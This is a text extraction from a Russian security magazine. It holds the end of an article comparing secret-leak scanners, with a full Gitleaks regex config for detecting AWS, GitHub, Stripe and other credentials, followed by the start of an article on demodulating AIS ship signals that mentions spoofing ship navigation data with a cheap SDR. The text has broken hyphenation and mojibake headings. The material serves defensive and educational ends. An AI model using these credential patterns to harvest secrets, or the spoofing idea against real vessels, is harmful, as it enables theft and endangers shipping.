Вот что получит ся, если допол нить эти пра вила ана лизом энтро пии.

  title = "Enhanced Gitleaks Configuration with Extended Entropy 
Analysis"

  version = 2

[[rules]]
  id = "AWS Access Key"

  description = "AWS Access Key"
  regex = '''AKIA[0-9A-Z]{16}'''

   tags = ["key", "AWS"]
  entropy = 3.5

[[rules]]
  id = "AWS Secret Key"

  description = "AWS Secret Key"
  regex = '''(?i)aws(.{0,20})?['"][0-9a-zA-Z\/+]{40}['"]'''

   tags = ["key", "AWS"]
  entropy = 3.5

[[rules]]
  id = "Google API Key"

  description = "Google API Key"
  regex = '''AIza[0-9A-Za-z-_]{35}'''

   tags = ["key", "Google"]
  entropy = 3.5

[[rules]]
  id = "Slack Token"

  description = "Slack Token"
  regex = '''xox[baprs]-([0-9a-zA-Z]{10,48})'''

   tags = ["token", "Slack"]
  entropy = 3.5

[[rules]]
  id = "SSH Private Key"

  description = "SSH Private Key"
  regex = '''-----BEGIN (RSA|DSA|EC|OPENSSH|PGP) PRIVATE KEY-----'''

   tags = ["key", "SSH"]
  entropy = 3.5

[[rules]]
  id = "Generic API Key"

  description = "Generic API Key"
  regex = '''(?i)(

apikey|api_key|secret_key|client_secret|access_token)[\s]*[=:][\s]*[
'"]?[A-Za-z0-9\/+=-_]{32,64}['"]?'''

   tags = ["key", "API"]
  entropy = 3.5

[[rules]]
  id = "Generic Secret"

  description = "Generic Secret"
  regex = '''(?i)(secret|password|pwd|token|key|auth)[\s]*[=:][\s]*['"]

?[A-Za-z0-9\/+=-_]{8,128}['"]?'''
  tags = ["secret"]

  entropy = 3.5

[[rules]]
  id = "Database Connection String"

  description = "Database Connection String"
  regex = '''(?i)(

mongodb|postgres|mysql|sqlserver|redis|couchdb|oracle):\/\/[^\s]+'''
   tags = ["database", "connection"]

  entropy = 3.5

[[rules]]
  id = "Google OAuth Client ID"

  description = "Google OAuth Client ID"
  regex = '''[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com'''

   tags = ["oauth", "Google"]
  entropy = 3.5

[[rules]]
  id = "Google OAuth Client Secret"

  description = "Google OAuth Client Secret"
  regex = '''(?i)("client_secret":\s*["'][A-Za-z0-9-_]{24}["'])'''

   tags = ["oauth", "Google"]
  entropy = 3.5

[[rules]]
  id = "Private Key"

  description = "Private Key"
  regex = '''-----BEGIN PRIVATE KEY-----'''

   tags = ["key", "private"]
  entropy = 3.5

[[rules]]
  id = "Heroku API Key"

  description = "Heroku API Key"
  regex = '''(?i)heroku[\s]*[=:][\s]*['"]?[0-9a-fA-F]{32}['"]?'''

   tags = ["key", "Heroku"]
  entropy = 3.5

[[rules]]
  id = "JSON Web Token"

  description = "JSON Web Token"
  regex = '''eyJ[A-Za-z0-9-_=]+\.eyJ[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]

*'''
   tags = ["token", "JWT"]

  entropy = 3.5

[[rules]]
  id = "Twilio API Key"

  description = "Twilio API Key"
  regex = '''(?i)twilio[\s]*[=:][\s]*['"]?[A-Za-z0-9-_]{32}['"]?'''

   tags = ["key", "Twilio"]
  entropy = 3.5

[[rules]]
  id = "Stripe API Key"

  description = "Stripe API Key"
  regex = '''(?i)sk_live_[0-9a-zA-Z]{24}'''

   tags = ["key", "Stripe"]
  entropy = 3.5

[[rules]]
  id = "SendGrid API Key"

  description = "SendGrid API Key"
  regex = '''(?i)SG\.[0-9a-zA-Z\-_]{22}\.[0-9a-zA-Z\-_]{43}'''

   tags = ["key", "SendGrid"]
  entropy = 3.5

[[rules]]
  id = "MailChimp API Key"

  description = "MailChimp API Key"
  regex = '''(?i)[0-9a-f]{32}-us[0-9]{1,2}'''

   tags = ["key", "MailChimp"]
  entropy = 3.5

[[rules]]
  id = "GitHub Personal Access Token"

  description = "GitHub Personal Access Token"
  regex = '''ghp_[0-9a-zA-Z]{36}'''

   tags = ["key", "GitHub"]
  entropy = 3.5

[[rules]]
  id = "GitLab Personal Access Token"

  description = "GitLab Personal Access Token"
  regex = '''glpat-[0-9a-zA-Z\-_]{20}'''

   tags = ["key", "GitLab"]
  entropy = 3.5

[[rules]]
  id = "Azure Storage Account Key"

  description = "Azure Storage Account Key"
  regex = '''(?i)(

AccountKey|AccountKeyPrimary|AccountKeySecondary|SharedAccessSignatur
e)
=([A-Za-z0-9+\/=]{88})'''

   tags = ["key", "Azure"]
  entropy = 3.5

[[rules]]
  id = "Salesforce Security Token"

  description = "Salesforce Security Token"
  regex = '''[A-Za-z0-9]{24}'''

   tags = ["token", "Salesforce"]
  entropy = 3.5

Мы получи ли 3810 уте чек! Отку да такой резуль тат? Про ект содер жит име на
перемен ных, политик и про чие дан ные, которые обла дают высокой энтро- 
пией. Нап ример, у наз вания полити ки  энтро- 

пия 3,7406015, а у  — 4,0849624. На все эти

и дру гие име на в исходных тек стах и реаги рует Gitleaks.

AWSLoadBalancerController
AmazonEKSWorkerNodePolic

Ко неч но, в пра вилах мож но про писать исклю чения. Они дол жны быть опи- 
саны в полях  (для исклю чения катало гов или фай лов) и 

 (для исклю чения клю чевых слов), что в разы сок ратит
количес тво лож ных сра баты ваний.

[allowlist] [
allowlist.keywords]

Так же в пра вилах мож но менять уро вень энтро пии, на которую реаги рует
Gitleaks. Нап ример, если мы выс тавим уро вень 4.0, то получим уже 2912 уте- 
чек, а при 4.5 количес тво сра баты ваний упа дет до 126. С уче том все го выше- 
опи сан ного мы име ем мак сималь но гиб ко нас тра иваемый инс тру мент,
который работа ет как с ана лизом энтро пии, так и с регуляр ными выраже- 
ниями.

ÏÎÄÂÎÄÈÌ ÈÒÎÃÈ

Итак, мы рас смот рели два метода поис ка уте чек и три инс тру мен та. Резуль тат
их срав нения — в таб лице ниже.

Ска зать однознач но, что ана лиз энтро пии луч ше, чем regex, или наобо рот,
невоз можно. Каж дый метод дает лож ные сра баты вания или не находит те
или иные утеч ки. Так что луч шей прак тикой будет исполь зовать оба метода
с тон кой нас трой кой под собс твен ные тре бова ния.

Ре гуляр ные выраже ния и ана лиз энтро пии прек расно допол няют друг дру- 
га: пер вый метод точ но бьет по кон крет ным целям, вто рой вычис ляет скры тые
пат терны. Вмес те они соз дают мощ ный дуэт, который поможет тебе обна- 
ружить даже самые замас кирован ные сек реты.

Луч шим инс тру мен том по резуль татам нашего неболь шого ана лиза стал
Gitleaks, в нас трой ках которо го ты можешь как писать собс твен ные пра вила,
так и выс тавлять нуж ный уро вень энтро пии. Но если нет воз можнос ти
и желания нырять в пучину написа ния кас томных пра вил, мож но огра ничить ся
Detect Secrets, который показал себя дос таточ но хорошо при пол ном отсутс- 
твии допол нитель ных нас тро ек.

В сле дующей статье мы пла ниру ем под робнее рас ска зать про Gitleaks:
раз берем спо собы написа ния пра вил, тон кости нас трой ки, а так же внед- 
рение это го инс тру мен та в CI/CD.

https://github.com/gitleaks/gitleaks
https://github.com/trufflesecurity/trufflehog
https://github.com/Yelp/detect-secrets
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Пред ставь, что сущес тву ет радар,
на котором отме чены все кораб ли, их груз,
ста тус сис тем, количес тво человек на бор ту
и еще куча информа ции. И такая сис тема
дей стви тель но есть! Сегод ня мы погово рим
про AIS — Automatic Identication System,
которая пов семес тно исполь зует ся
на море. Поп робу ем демоду лиро вать
и декоди ровать сиг налы этой сис темы.

ÂÂÅÄÅÍÈÅ

AIS была соз дана дав но, и ее глав ная цель — безопас ное мореп лавание.
В нас тоящий момент сис тема выпол няет сле дующие фун кции:

за щита от стол кно вения судов;•
пе реда ча информа ции о кораб ле назем ным стан циям;•
кон троль тра фика судов через пор ты;•
слеж ка за судами для помощи в ЧП.•

При мене ний у сис темы мно го. Нап ример, люди, час то пла вающие на сво их
яхтах, покупа ют маяч ки AIS, которые могут тран сли ровать сиг нал бедс твия
всем судам вок руг, если человек ока жет ся за бор том или суд но попадет
в экс трен ную ситу ацию.

AIS поз воля ет общать ся с дру гими судами для обме на важ ной информа- 
цией. Такая тех нология помога ет избе жать ава рий. Это осо бен но акту аль но
для боль ших кораб лей, которые не могут рез ко поменять курс или оста- 
новить ся.

Для реали зации AIS нужен тран спор тер, работа ющий в диапа зоне VHF
(134–174 МГц). Исполь зуя спе циаль ную сис тему раз делен ного дос тупа
к каналу, SOTDMA, AIS может переда вать до 4500 отче тов в минуту.
Про SOTDMA мы погово рим чуть поз же.

В реаль ных же усло виях кораб ли не всег да находят ся воз ле берегов
и назем ные стан ции не всег да могут получить дан ные о кораб лях. Что бы
это испра вить, в AIS добави ли интегра цию со спут никовой связью. Эта сис- 
тема называ ется SAT-AIS, она есть на всех боль ших кораб лях и сто ит очень
дорого, что дела ет ее недос тупной для обыч ных судов. Что бы испра вить эту
проб лему, люди раз работа ли сис тему, в которой суда без SAT-AIS могут
исполь зовать бли жай шие кораб ли с SAT-AIS для переда чи дан ных о себе.

SAT-AIS и AIS

ÒÈÏÛ ÑÎÎÁÙÅÍÈÉ AIS

В зависи мос ти от переда ваемой информа ции сооб щения могут иметь раз- 
ную струк туру. Что бы не запутать ся, в сис тему внед рили типы сооб щений,
пер вые 6 бит показы вают тип и, соот ветс твен но, фор мат даль нейших дан ных.
Нем ного углу бим ся в фор маты сооб щений и раз берем ся, какие дан ные мож- 
но переда вать и получать в AIS.

Все го в AIS 21 основной тип сооб щений, в будущем этот спи сок может
быть рас ширен до 63. Сооб щения име ют раз ные фор маты вре мен ного дос- 
тупа к сис теме, раз ный при ори тет и наз начение. Рас смот рим все сооб щения,
раз делив их на клас сы: сооб щения передат чиков клас са А, сооб щения
передат чиков клас са Б, сооб щения от ATON, бинар ные сооб щения AIS
с адре сом, бинар ные сооб щения AIS для всех при емни ков.

Ñîîáùåíèÿ ïåðåäàò÷èêîâ êëàññà À
Ïîçèöèÿ êîðàáëÿ
Со обще ния передат чиков клас са А с позици ей переда ются через рав ные
про межут ки вре мени от 2 до 10 с авто мати чес ки. Они содер жат дан ные
о текущей позиции кораб ля, его ско рос ти, нап равле нии, сос тоянии инди като- 
ров манев ров, в слу чае если корабль дела ет раз ворот или дру гой слож ный
маневр. Раз берем фор мат сооб щений типа 1, 2 и 3, которые отве чают
за переда чу позиции.

В целом ничего слож ного, есть тер мины, которые исполь зуют ся толь ко
в корабель ном деле, но общая суть дол жна быть ясна. С помощью этих типов
сооб щений стро ятся кар ты кораб лей и отсле жива ются их перед вижения.

Ñòàòè÷åñêèå äàííûå î êîðàáëå
Ста тичес кие дан ные могут вклю чать в себя позыв ной, вер сию AIS, иден- 
тифика торы при емни ка и передат чика, тип суд на, тип гру за и еще кучу важ ных
деталей. Эти сооб щения отно сят ся к типу 5, рас смот рим их струк туру.

Со обще ния со ста тичес кой информа цией тран сли руют ся каж дые 6 мин.

Øèðîêîâåùàòåëüíîå ñîîáùåíèå
Со обще ние типа 27, которое исполь зует ся для переда чи позиции (как
в типах 1, 2 и 3), но име ет мень шее количес тво битов — 96 бит вмес- 
то 168 в типах 1, 2 и 3. Это поз воля ет тран сли ровать сооб щение на спут ники
или на более даль ние рас сто яния без проб лем.

Ñîîáùåíèÿ ïåðåäàò÷èêîâ êëàññà Á
Со обще ния передат чиков клас са Б соот ветс тву ют фор матам, опи сан ным
в клас се А, но име ют нем ного дру гую бинар ную струк туру переда ваемых
сооб щений. В свя зи с эти ми раз личи ями сооб щения этих передат чиков
выделя ют в отдель ные типы. За переда чу позиции отве чают сооб щения
типа 18 и 19, пос леднее явля ется сво еоб разным легаси. Сооб щение
типа 24 содер жит ста тичес кую информа цию о кораб ле.

Ñîîáùåíèÿ ATON
Ос тановим ся на фор мате сооб щений ATON и про ана лизи руем их более под- 
робно, потому что это доволь но инте рес но. ATON име ет толь ко один тип
сооб щений — 27. Переда ются эти сооб щения авто мати чес ки через опре- 
делен ный про межу ток вре мени.

Как видишь, в сооб щении мно го раз ной инте рес ной информа ции.

Áèíàðíûå ñîîáùåíèÿ
Би нар ные сооб щения име ют типы 6 для сооб щений с получа телем
и 8 для широко веща тель ных. Бинар ные сооб щения исполь зуют ся
для переда чи любой информа ции, нап ример сооб щений дру гим кораб лям.
Рас смот рим струк туру бинар ных сооб щений типа 6, для типа 8 она похожа,
прос то отсутс тву ет поле наз начения.

ÒÈÏÛ AIS

У сис темы мно жес тво при мене ний, и, соот ветс твен но, есть мно жес тво
устрой ств, где она реали зова на. Давай пос мотрим, какие есть основные типы
девай сов и чем они отли чают ся друг от дру га.

Êëàññ À
Это самые популяр ные передат чики для кораб лей. Сиг нал с позици ей (тип 1,
2 и 3) авто мати чес ки тран сли рует ся каж дые 2 с. Вре мя переда чи может
менять ся в зависи мос ти от кур са и ско рос ти суд на. Сиг налы с допол нитель- 
ной информа цией, нап ример с показа ниями дат чиков (тип 5), тран сли руют ся
каж дые 6 мин тоже авто мати чес ки. Передат чики это го типа поз воля ют кораб- 
лям обме нивать ся тек сто выми дан ными. Так же сис темы клас са А могут при- 
нимать информа цию о погоде от назем ных стан ций. Боль ше информа ции
мож но най ти в стан дарте IEC 61993-2.

Êëàññ Á
Стан ции это го типа нам ного сла бее стан ций клас са А, у них мень ше и мощ- 
ность, и чис ло воз можнос тей. Стан ции точ но так же авто мати чес ки тран сли- 
руют свое мес тополо жение, но с боль шим интерва лом и мень шей мощ- 
ностью. Так же они переда ют допол нитель ную информа цию, но количес тво
этой информа ции на порядок мень ше. Устрой ства клас са Б могут получать
тек сто вые сооб щения, но не могут их переда вать. За под робнос тями обра- 
щай ся к стан дартам IEC 62287-1 и 62287-2.

Íàçåìíûå ñòàíöèè
На зем ные стан ции помога ют син хро низи ровать информа цию из раз ных
источни ков и вре мя переда чи, а так же переда вать судам тек сто вые сооб- 
щения, нап ример о над вига ющем ся штор ме. Каж дые 4 с назем ная стан ция
отправ ляет свой уни каль ный иден тифика тор (MMSI вида ) и дан- 

ные о вре мени. Назем ные стан ции так же могут переда вать дан ные для сис- 
тем AIS ATON (AIS Aid to Navigation) и ASM (Application Specic Messages),
которая переда ет точ ную информа цию о прог нозе погоды. Боль ше информа- 
ции — в стан дарте IEC 62320-1.

00MIDXXXXX

SART
По иско во-спа сатель ные сис темы, которые исполь зуют ся в экс трен ных ситу- 
ациях как маяк для спа сения. Пос ле акти вации тран сли рует сооб щения
типа 14 и позицию передат чика. Все го переда ется восемь сооб щений
в минуту. Передат чики спа сатель ного типа мож но опре делить по MMSI,
который начина ется на 970, 972 или 974. Передат чики SART тран сли руют
по четыре сооб щения на каж дой из час тот AIS, то есть четыре на 161,975 МГц
и четыре на 162,025 МГц. Позиция передат чика опре деля ется через встро- 
енный при емник GNSS. Под робнее — в стан дарте IEC 61097-14.

ATON
На вига цион ная сис тема AIS Aid to Navigation поз воля ет кораб лям, которые
исполь зуют AIS, получать информа цию о физичес ких объ ектах в водах, нап- 
ример ска лах или мел ководье. Сущес тву ет три основных ATON. Пер вый
из них — физичес кий объ ект, который тран сли рует информа цию о бли жай ших
физичес ких объ ектах. Вто рой — син тетичес кий, который не тран сли рует AIS,
а прос то с помощью све та показы вает мес тонахож дение объ ектов. Обыч но
дан ные о син тетичес ких ATON переда ются с назем ных стан ций. Тре тий тип —
вир туаль ный, в дан ном типе информа ция об объ ектах переда ется толь ко
через назем ные стан ции или спут ники. Сис темы ATON мож но обна ружить
по MMSI, который начина ется на . Под робнос ти — в стан дарте IEC

62320-2.

993XXXXX

Сис тема ATON

Ïîäâîäèì èòîãè
Как вид но, в AIS мно го под систем, которые отве чают за раз ные фун кции —
начиная от переда чи дан ных меж ду кораб лями и закан чивая спа сатель ными
объ екта ми. Все они переда ют дан ные по незащи щен ному каналу, кро ме,
конеч но, Blue Force Tracking, воен ной сис темы США и НАТО, которую они
исполь зуют в зашиф рован ном виде через спут ники. Ата кующий может лег ко
передать дан ные, нап ример ATON, и зас тавить кораб ли раз вернуть ся
или запус тить еще один корабль, который будет идти пря мо на цель. Все
это воз можно сде лать с прос тым SDR-передат чиком за 200–300 дол ларов.
В этой статье мы не будем углублять ся в ата ки на AIS, а толь ко поп робу ем
пол ностью разоб рать ся в переда че, модуля ции и кодиро вании.

WARNING

Статья име ет озна коми тель ный харак тер. Автор
и редак ция не несут ответс твен ности за любой
вред, при чинен ный с при мене нием изло жен ной
информа ции. Рас простра нение вре донос ных
прог рамм, наруше ние работы сис тем и наруше- 
ние тай ны перепис ки прес леду ются по закону.

От метим основные пун кты:
Дан ные о позиции AIS получа ет по GNSS.•
Дан ные о дру гих кораб лях сис тема получа ет либо с назем ных стан ций,
либо непос редс твен но от дру гих кораб лей.

•

Есть раз ные типы передат чиков.•
Ти пы передат чиков мож но уста новить по MMSI.•
Не кото рые кораб ли могут работать с AIS-SAT, а некото рые нет.•
Сис тема не име ет шиф рования, кро ме как для воен ных час тот.•
AIS работа ет на двух час тотах или каналах (VHF): 161,975 МГц
и 162,025 МГц с шириной в 25 кГц.

•

Изу чить, , мож но на офи циаль ном сай те сис темы.как выг лядит AIS

MarineTraffic

ÄÅÌÎÄÓËßÖÈß

Пе рей дем к более инте рес ной сос тавля ющей статьи. В этом раз деле изу чим
модуля цию сиг нала и основные фор маты дан ных.

×àñòîòà
AIS работа ет на двух основных час тотах. В некото рых источни ках их называ ют
канала ми. Это 161,975 МГц и 162,025 МГц, каналы же соот ветс твен но
называ ются 87b и 88b. Все это находит ся в диапа зоне VHF, который вклю чает
в себя мет ровые вол ны от 1 до 10 м. Ради освязь на этом диапа зоне, как пра- 
вило, воз можна на рас сто яние до нес коль ких десят ков километ ров, а при
сов падении фак торов иони зации и отра жения и до тысяч километ ров —
при наличии мощ ного передат чика. VHF отлично под ходит для свя зи в городе
и на мес тнос тях с пря мой видимостью, какой воды и явля ются.

Ìîäóëÿöèÿ
Для модуля ции исполь зует ся GMSK — это один из видов час тотной модуля- 
ции, который переда ет дан ные, изме няя час тоту при изме нении бита. Нап- 
ример, если 1 — это 10 Гц, а 0 — 20 Гц, то в зависи мос ти от исходных дан ных
сиг нал будет иметь раз ные час тоты в раз ных вре мен ных про межут ках.

GMSK — это улуч шенная вер сия час тотной модуля ции. Так как боль шое
количес тво передат чиков не дол жны мешать друг дру гу, GMSK име ет
минималь ную ширину спек тра и хорошую ско рость переда чи. Это поз воля ет
эко номить мес то в полосе, при чем слож ность передат чиков и при емни ков
не слиш ком воз раста ет.

В осно ве такой модуля ции лежит гаус сов ский филь тр ниж них час тот,
а индекс модуля ции, который зада ет раз ницу меж ду час тотами для 0 и 1,
минима лен (0,5). Все это поз воля ет получить минималь ную ширину спек тра.
Если хочешь под робнее изу чить, как работа ет GMSK, можешь начать с 

 про FSK, MSK и CPFSK.
мо их

ста тей
Здесь же мы углу бим ся в час тотную модуля цию, что бы луч ше понимать,

что имен но мы будем демоду лиро вать.

GMSK
Рас смот рим нес коль ко при меров работы GMSK-модуля ции. Нач нем с прос- 
того — с того, как модули рует ся сиг нал. Нач нем с FSK. Это самая прос тая
час тотная модуля ция, которая без какой-либо обра бот ки перек люча ет час- 
тоты в зависи мос ти от вход ного сиг нала. Обыч но в схе ме модуля ции FSK есть
два генера тора с раз ными час тотами и ключ.

На ключ пода ется либо 1, либо 0, в зависи мос ти от переда ваемых дан ных.
На выходе получа ется сиг нал с раз ными час тотами. Дли тель ность каж дого
бита выбира ется исхо дя из тре бова ний к ско рос ти переда чи, но бес конеч но
умень шать дли тель ность сиг нала не получит ся из-за осо бен ностей FSK.

FSK-модуля ция

Спектр FSK доволь но широкий из-за скач кооб разно го изме нения фазы меж- 
ду перек лючени ями час тот. Эти скач ки соз дают допол нитель ные боковые
гар моники на спек тре, которые не поз воля ют исполь зовать FSK при малень- 
ком канале. Что бы решить эту проб лему, была раз работа на CPFSK — час- 
тотная модуля ция с неп рерыв ной фазой.

Что такое фаза
Фа за — это положе ние текуще го зна чения сиг нала в пре делах одно го пери- 
ода отно ситель но опре делен ной началь ной точ ки.

Фа за

CPFSK-модуля торы учи тыва ют фазу прош лого сиг нала и начина ют перек- 
лючение без скач ка фазы.

CPFSK и FSK

Как вид но на двух пос ледних гра фиках, у CPFSK нет скач кооб разно го перехо- 
да, что поз воля ет сущес твен но сни зить количес тво боковых гар моник. Если
изу чить спектр двух модули рован ных сиг налов — FSK и CPFSK, то раз ница
ста новит ся еще оче вид нее.

Спек тры FSK и CPFSK

Продолжение статьи →

mailto:qeewwqqq@gmail.com
https://www.marinetraffic.com/en/ais/home/
https://sterva.org/modulations.txt


ЭЙ, НА БОРТУ!
ПЕРЕХВАТЫВАЕМ И РАЗБИРАЕМ

СИГНАЛ AIS — СИСТЕМЫ
ИДЕНТИФИКАЦИИ КОРАБЛЕЙ

GEEK  НАЧАЛО СТАТЬИ←

За мет но, что в CPFSK боковых гар моник поч ти нет, но проб лема ширины
канала все еще оста ется. Так как в час тотной модуля ции исполь зует ся две
час тоты, то меж ду эти ми час тотами дол жна быть какая-то раз ница, что бы
при при еме сиг нала и его демоду ляции мож но быть отли чить, где 0, а где 1.

Раз ница меж ду час тотами называ ется деви ацией час тот. При умень шении
деви ации мож но дос тигнуть порога, при котором сиг нал уже нель зя вос ста- 
новить. Модуля ция с минималь ной деви ацией, а точ нее, с минималь ным
индексом час тотной модуля ции называ ется MSK (Minimum Shift Key). Индекс
модуля ции в MSK сос тавля ет 0,5. Почему столь ко и как его получить, я 
у себя в бло ге. При срав нении спек тров CPFSK и MSK раз ница замет на.

пи сал

MSK и CPFSK

Те перь, пос ле того как изу чены FSK, MSK и CPFSK, мож но перей ти непос- 
редс твен но к GMSK. Это час тотная модуля ция, по сути MSK, к которой при- 
мени ли гаус сов ский филь тр ниж них час тот, что поз волило еще силь нее
умень шить ширину спек тра. Срав нить MSK и GMSK мож но на сле дующем
гра фике спек тра.

MSK и GMSK

Äåìîäóëÿöèÿ GMSK
Не будем оста нав ливать ся на музей ных час тотных детек торах и детек торе
отно шений, рас смот рим более сов ремен ный квад ратур ный демоду лятор.
Сиг нал в квад ратур ных демоду лято рах рас кла дыва ется на две орто гональ ные
сос тавля ющие: син фазную (I) и квад ратур ную (Q). Сам про цесс демоду ляции
вклю чает нес коль ко основных эта пов, которые мы сей час и рас смот рим.

При получе нии сиг нал s(t) переда ется на два сме сите ля, где он умно жает- 
ся на два орто гональ ных сиг нала:  и , где wc —
это угло вая час тота несущей. Пос ле умно жения получа ется два сиг нала:

cos(wc * t) sin(wc * t)

Да лее нуж но отфиль тро вать ниж ние час тоты. Для это го оба сиг нала про пус- 
кают ся через филь тры низ ких час тот ФНЧ, что бы уда лить высоко час тотные
сос тавля ющие, оставляя толь ко базовую полосу сиг налов:

Пос ле обра бот ки необ ходимо сфор мировать ком плексный сиг нал:

В GMSK информа ция переда ется через изме нение час тоты, а изме нение
час тот при водит к неп рерыв ным изме нени ям фазы. Сле дова тель но,
для демоду ляции дан ных дос таточ но вычис лить фазы двух сиг налов. Начать
сто ит с детек ции мгно вен ной фазы, для это го отде лим мгно вен ную фазу сиг- 
нала r(t):

Те перь мож но получить час тотную деви ацию, которая и будет показы вать
изме нения час тоты, а точ нее, фазы.

T — пери од выбор ки.
Из менения раз нос тной фазы, которые мы получи ли в кон це, соот ветс тву- 

ют переда ваемым дан ным. Учи тывая прош лое зна чение фазы, мож но
получить дан ные о текущем сим воле.

Хоть GMSK и изме няет час тоту, изме нение час тоты нап рямую изме няет
фазу. Чис тая час тотная модуля ция озна чает, что мгно вен ная фаза изме няет- 
ся со ско ростью, про пор циональ ной мгно вен ной час тоте, сле дова тель но,
детек тирова ние изме нений фазы поз воля ет вос ста новить информа цию
из сиг нала.

ÑËÎÒÛ

Нас тало вре мя погово рить о вре мен ных сло тах в AIS. Как бы мы ни ужи мали
ширину спек тра при переда че, канала все рав но не будет хва тать из-за
количес тва кораб лей. Что бы испра вить это, в AIS интегри рова ли сис тему
TDMA (Time Division Multiple Access), которая поз воля ет делить дос туп
к переда че по вре мени меж ду судами. В AIS под разуме вает ся огра ничен ное
количес тво сло тов. Для каж дого канала выведе но 2250 сло тов каж дую минуту,
то есть 4500 сло тов на оба канала.

TDMA в AIS

Каж дая сис тема AIS авто мати чес ки адап тиру ется к количес тву исполь зуемых
сло тов в кон крет ном реги оне, это поз воля ет сущес твен но сни зить слож ность
при ема. Быва ет, все сло ты перег ружены, на этот слу чай при емни ки AIS зап- 
рограм мирова ны таким обра зом, что бы при нимать дан ные от наибо лее близ- 
ких кораб лей. Это сде лано для избе жания стол кно вений.

Как и во всех сис темах, у TDMA есть еще под систе мы, которые исполь- 
зуют ся в раз ных слу чаях и в раз ных устрой ствах.

SOTDMA
Нач нем с SOTDMA (Self Organised Time Division Multiple Access). Это самая
слож ная схе ма TDMA для дос тупа к AIS. В SOTDMA все стан ции дол жны иметь
чет кое и син хро низи рован ное вре мя. Это реша ется бла года ря син хро низа- 
ции по GNSS, что поз воля ет точ но делить сло ты во вре мени.

При переда че дан ных SOTDMA в пакете содер жится информа ция о сле- 
дующих переда чах, это поз воля ет дру гим при емни кам сос тавлять кар ту сло- 
тов и эффектив но выбирать для переда чи сво бод ные. Соот ветс твен но, важ- 
ная осо бен ность реали зации передат чиков — это воз можность выбирать
сво бод ный слот, что бы не мешать дру гим. И, как следс твие, каж дая стан ция
дол жна уметь перес тра ивать свои сло ты под реалии текуще го реги она.
В одной точ ке сво бод ны будут одни сло ты, а при перехо де в дру гую будут уже
совер шенно дру гие.

SOTDMA раз работа на с уче том того, что нас тупит момент, ког да сво бод- 
ных сло тов не оста нет ся, тог да вклю чает ся механизм пов торно го исполь- 
зования сло та. При емник в этом слу чае обя зан при нимать толь ко сиг нал бли- 
жай ших кораб лей. Все эти тре бова ния так же обо рачи вают ся наличи ем тре- 
бова ний к обо рудо ванию, таких как опре делен ное количес тво опе ратив ной
памяти, мощ ность про цес сора и дру гие харак терис тики.

Под робнее — в стан дарте ITU-R M.1371-4.

RATDMA
RATDMA — Random Access Time Division Multiple Access. Как понят но из наз- 
вания, этот вид TDMA исполь зует ся, ког да нуж но выб рать слу чай ный слот.
Этот метод нужен в основном сна чала, ког да передат чик толь ко вхо дит
в реги он, или же для переда чи непов торя ющих ся сооб щений, нап ример тек- 
сто вых дан ных. Как и в SOTDMA, тре бует ся син хро низа ция по вре мени
для всех устрой ств TDMA. Для син хро низа ции исполь зует ся GNSS.

Пе редат чик с RATDMA выбира ет по сво ей внут ренней кар те слу чай ный
слот, который не исполь зует ся дру гой стан цией. Он не анон сиру ет задей- 
ство вание это го сло та, прос то отправ ляет через него дан ные. Глав ное отли- 
чие RATDMA от SOTDMA — RA не анон сиру ет сле дующие переда чи и сло ты,
что не поз воля ет дру гим стан циям опре делить занятые сло ты. Из-за этой
осо бен ности RATDMA невоз можно исполь зовать для пери оди чес кой переда- 
чи.

Под робнее — в стан дарте ITU-R M.1371-4.

ITDMA
ITDMA — Incremental Time Division Multiple Access. Вре мя здесь все еще син- 
хро низи рует ся по GNSS. Стан ции, исполь зующие ITDMA, опи рают ся на внут- 
реннюю кар ту сло тов и выбира ют слу чай ный сво бод ный слот. Пос ле выбора
устрой ство с ITDMA анон сиру ет переда чу в выб ранном сло те. ITDMA исполь- 
зует ся, ког да стан ции нуж но передать изме нение во вре мени пери оди чес ких
передач или же анон сировать непери оди чес кое сооб щение, нап ример тек- 
сто вое сооб щение, свя зан ное с безопас ностью. ITDMA не исполь зует ся
как отдель ная схе ма для дос тупа в сис тему AIS, в основном она допол няет
SOTDMA. Глав ное отли чие от RATDMA — в анон сирова нии переда чи.

Под робнее — в стан дарте ITU-R M.1371-4.

FATDMA
FATDMA — Fixed Access Time Division Multiple Access. Сис тема похожа
на обыч ную SOTDMA, но отли чает ся тем, что дан ные о сло те заг ружены нап- 
рямую в передат чик, то есть сло ты всег да ста тич ны для любого слу чая. Как и
в прош лых схе мах, тре бует ся син хро низа ция вре мени по GNSS. При вхо де
в реги он стан ции FATDMA тран сли руют сооб щение о сво их сло тах, что бы дру- 
гие стан ции мог ли знать, какие из них заняты. Из-за ста тич ных сло тов исполь- 
зование FATDMA ста рают ся свес ти к миниму му, что бы не мешать динами чес- 
кой работе AIS.

Под робнее — в стан дарте ITU-R M.1371-4.

CSTDMA
CSTDMA — Carrier Sense Time Division Multiple Access. В дан ном слу чае син- 
хро низа ция с вре менем выпол няет ся не по GNSS, так что сис тема свя зи
с GNSS в CSTDMA не нуж на. Стан ции, исполь зующие CSTDMA, неп рерыв но
сле дят за канала ми AIS, что бы находить сво бод ные сло ты и исполь зовать их.
Если стан ция CSTDMA видит, что ник то не исполь зует слот, она отправ ляет
дан ные и отклю чает переда чу на 30 с, пос ле это го пов торя ет все шаги. Важ но
заметить, что стан ции это го типа не могут анон сировать сло ты. Они не тре- 
буют слож ных ком понен тов и исполь зуют ся на малень ких судах.

Под робнее — в стан дарте ITU-R M.1371-4.

PATDMA
PATDMA — модифи циро ван ная вер сия SOTDMA, раз работан ная спе циаль но
для сис тем, которые могут толь ко тран сли ровать дан ные, нап ример SART.
Вре мя син хро низи рует ся по GNSS. Каж дые 8 мин стан ция выбира ет слу чай- 
ный слот для переда чи, это дела ется для того, что бы уве личить шан сы быть
услы шан ной. В самой переда че восемь пакетов дан ных, которые содер жат
раз ные дан ные.

Под робнее — в стан дарте ITU-R M.1371-4.

Óñòðîéñòâà è èõ ñîâìåñòèìîñòü ñ òèïàìè TDMA
Пе рей дем к свя зи типов и устрой ств. Общую информа цию мож но получить,
изу чив кар тинку ниже.

Ти пы TDMA и устрой ства, которые их исполь зуют

Êëàññ À
Ус трой ства клас са А, как самые дорогие и тех ничес ки слож ные, могут исполь- 
зовать три самые слож ные схе мы дос тупа к сло там: SOTDMA, RATDMA
и ITDMA. SOTDMA исполь зует ся поч ти для всех пери оди чес ких сиг налов, нап- 
ример дан ных о позиции. RATDMA и ITDMA исполь зуют ся при вхо де в новый
реги он для началь ной переда чи и резер вации сло тов. RATDMA так же исполь- 
